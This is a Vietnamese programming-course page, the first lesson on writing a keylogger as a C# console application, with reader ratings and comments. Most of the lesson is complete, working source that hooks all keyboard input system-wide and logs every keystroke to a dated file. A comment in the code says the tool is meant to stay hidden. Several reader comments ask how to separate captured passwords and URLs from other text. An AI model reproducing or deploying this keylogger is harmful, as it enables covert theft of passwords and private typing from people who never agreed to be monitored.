Giới thiệu các API cần thiết tool Keylogger với C# Console Application

Lập trình Keylogger với C# Application

5.0 (3 đánh giá)
Tạo bởi HowKteam Cập nhật lần cuối 11:24 12-12-2016 11.253 lượt xem 16 bình luận
Học nhanh

Danh sách bài học

Giới thiệu các API cần thiết tool Keylogger với C# Console Application

Không có gì tuyệt vời hơn là luyện tập với ví dụ thực tế. Nào cùng nhau thử thách bản thân với tool: Keylogger

Bạn nên có kiến thức về:

  • Console application
  • Threading
  • Bitmap
  • Vòng lặp
  • Xử lý chuỗi
  • Nhiều thứ linh tinh khác

Code Program.cs

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace KeyLogger
{
    class Program
    {
        #region hook key board
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero; 

        private static string logName = "Log_";
        private static string logExtendtion = ".txt";

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        /// <summary>
        /// Delegate a LowLevelKeyboardProc to use user32.dll
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

        /// <summary>
        /// Set hook into all current process
        /// </summary>
        /// <param name="proc"></param>
        /// <returns></returns>
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            {
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
                }
            }
        }

        /// <summary>
        /// Every time the OS call back pressed key. Catch them 
        /// then cal the CallNextHookEx to wait for the next key
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);

                WriteLog(vkCode);
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        /// <summary>
        /// Write pressed key into log.txt file
        /// </summary>
        /// <param name="vkCode"></param>
        static void WriteLog(int vkCode)
        {
            Console.WriteLine((Keys)vkCode);
            string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
            StreamWriter sw = new StreamWriter(logNameToWrite, true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
       
        /// <summary>
        /// Start hook key board and hide the key logger
        /// Key logger only show again if pressed right Hot key
        /// </summary>
        static void HookKeyboard()
        {
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }
        #endregion      
       
        
        static void Main(string[] args)
        {
            HookKeyboard();
        }
    }
}

Bài sau chúng ta sẽ cùng nhau tạo timmer.

Đừng quên: “Luyện tập – Thử thách – Không ngại khó


Thảo luận

Nếu bạn có bất kỳ khó khăn hay thắc mắc gì về khóa học, đừng ngần ngại đặt câu hỏi trong phần BÌNH LUẬN bên dưới hoặc trong mục HỎI & ĐÁP trên thư viện Howkteam.com để nhận được sự hỗ trợ từ cộng đồng.

Nội dung bài viết

Tác giả

Khóa học

Lập trình Keylogger với C# Application

Lập trình Keylogger với C# Application

Đánh giá

NguyenKiet1 đã đánh giá 21:42 08-04-2019

ngocdungduong đã đánh giá 19:29 28-03-2019

cảm ơn kteam, những bài học như căn bản c# thì trên mang quá nhiều rồi nhưng những tool như này thật thú vị ạ ! Cảm ơn ạ !

K9 SuperAdmin đã đánh giá 19:38 01-03-2019

Bình luận

Để bình luận, bạn cần đăng nhập bằng tài khoản Howkteam.

Đăng nhập
nothingmore đã bình luận 10:57 19-07-2019

cho em hỏi là vs 2019 nó không định nghĩa được run trong Application.run() thì phải làm thế nào ạ?

 

nothingmore đã bình luận 21:45 12-07-2019

Thế làm thế nào để nó phân biệt các loại pass với các thông tin khác hả anh

nothingmore đã bình luận 21:44 12-07-2019

Thế làm thế nào để nó phân biệt các loại pass với các thông tin khác hả anh

 

nothingmore đã bình luận 21:43 12-07-2019

Thế làm thế nào để nó phân biệt được pass với các thông tin tạp cũng như URL hả anh

Thanh Duy đã bình luận 22:20 06-04-2018

Anh ơi, cho em hỏi chút! Làm sao mà mình hook ra phân biệt được chữ in ha với chữ in thường ạ?

Không có video.